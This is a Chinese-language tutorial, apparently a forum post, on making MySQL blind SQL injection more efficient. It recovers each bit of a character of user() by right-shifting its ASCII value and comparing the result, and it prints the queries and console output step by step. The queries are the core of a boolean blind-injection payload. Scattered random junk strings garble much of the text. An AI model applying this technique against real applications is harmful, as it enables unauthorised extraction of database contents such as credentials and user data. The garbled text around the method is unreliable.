关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位

8 T! d6 U. P0 Z) W
: E6 u5 v# `+ d' |( m1 q
下面将以查询mysql数据库当中user()的第一位为例:
, x- X! E5 S; F/ z
4 r5 o  e0 e1 H  l  v! b+ P
% x3 x9 z% z/ g5 V
% q$ G1 H6 ^0 z3 ~" v* vps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
7 N' Z* P& l: a& a
# X! L7 {( H. G5 C2 Y

" r4 i+ J% \6 c, }# S( O首先执行如下sql语句:
# e/ z5 `( H2 p1 `0 c- Q4 M3 \( W
, ~. Z; T5 P! l4 e; @, M; n
" a* \: L- m1 C6 G/ w# p! a
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;
8 ]1 @& ~3 f8 {

2 S* Q8 H( q' h9 U* ^+ U1 f9 @7 X
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的

$ q" b  y+ |$ |. o4 d
) C1 _: Y) i4 d
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
8 k. s4 k/ m0 t2 H' ?5 y


# M; {( v2 x3 z( X4 t如果运算结果为1,说明第一位为0,不为1

# e! F2 i- K5 Z
, z" O8 [% n, \* `: I, \; M+ J
+————————————–+

| (ascii((substr(user(),1,1))) >> 7)=0 |
; _* N, d5 M7 |& v+ P
+————————————–+
3 C8 P( D; K1 Q% E3 ~/ x- i' Z: A
| 1 |

+————————————–+
& p* B9 i# W- R- y; i+ T5 O
4 W" W) g' ^, X' L7 n: a' E8 I1 row in set (0.00 sec)

7 F2 U- Y3 P3 O5 Y# K& n& O( Y这样我们就确定这个8bit的ascii的第一位为0
$ g: [' z0 o; ?2 Q, L( n

* Y- p3 [. j* W6 U
第二次我们来做6次右偏移来确定前两位
# n1 D9 z! f1 \
3 e- F: `* n9 F$ g3 {" C" j8 |. s
, V% x7 g; p: U( m" C" ]2 T7 x
前两位可能是01或00,即依然可以与0做比较,

mysql> select (ascii((substr(user(),1,1))) >> 6)=0;

9 f/ l+ w1 z4 D. E- i6 C! K+————————————–+

5 z( s, Z  h$ W/ A# c# C% K7 y) U| (ascii((substr(user(),1,1))) >> 6)=0 |

) }& @- o0 @% F0 P+————————————–+

| 0 |

2 w7 g+ @) O% W8 C  @% m+————————————–+
% I6 {- y- J; D& H
1 row in set (0.00 sec)
& Q% |' x2 U1 t+ x
, @$ j: q  \! Z8 z) |* Y
% q3 C% |4 L! W6 V
结果为0,即第二位为1



' K0 V  d/ E* c, F4 p4 k6 j开始猜测前三位为010或011



# t% P. _2 d) e0 n  f: }# N& E; Q让我们看看010和011的ascii码是多少
% v  S3 P& C0 x* d


2 r# F$ x. Y4 K0 d4 Z+ Q% f, @分别查询select b’011′ select b’010′



获得结果 010 = 2 011 = 3
& m" Z: y+ @0 l2 X( a7 D
# T* F; S  F- f) p8 P

执行如下sql:
9 l; A  X, h( ^$ w
2 [; b+ t1 d' K, C* t9 D
( C* l( @1 n4 Y; j6 }
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;
  T. T2 A" H! c6 R
, B6 F# w) X& L( D% \+————————————–+
7 S; s: _7 _6 }& `; C' a- Q
2 J" E, p- a* P  d| (ascii((substr(user(),1,1))) >> 5)=2 |

: l& I4 o4 t5 F7 @$ ]1 U+————————————–+
1 L: _& K0 Y; P1 s- _
| 0 |

9 m% D8 T+ E' O! {3 p3 |+————————————–+

即前三位不为010,而是011
4 O- X; h- G# ?5 i6 s
* K" f& A! |1 k3 W; \9 l1 H( L- T
5 u2 f1 p( _9 S
直到获得最后一位


; f( ^: ^9 I5 c3 L9 w1 k$ P
最终结果为:01110010
& I& u4 h. X* r; Z' ~; c" c
) S9 r% x  n$ Y- Y: z$ M2 T8 G9 B

转换一下:

% P$ _2 S  m, h- j+ K  ?8 `3 U

select b’01110010′

1 I6 t5 J5 U/ Q. z1 F

查询结果



; c0 V8 u' o, V3 h2 K+————-+

0 }: D" }% _8 t| b’01110010′ |

+————-+

4 L& V2 L  G( }& i$ N| r |
! Y' b" u' G0 H4 y6 G
' O7 p5 W& I# |0 q9 I7 T  \+————-+

1 row in set (0.00 sec)


, `7 b- ?7 J* ~3 B; z0 s
! p* R& \( M8 R这样我们就获得了user()的第一位.其它位依此类推

, B5 Y: S8 k# }* ]2 D1 \: d! g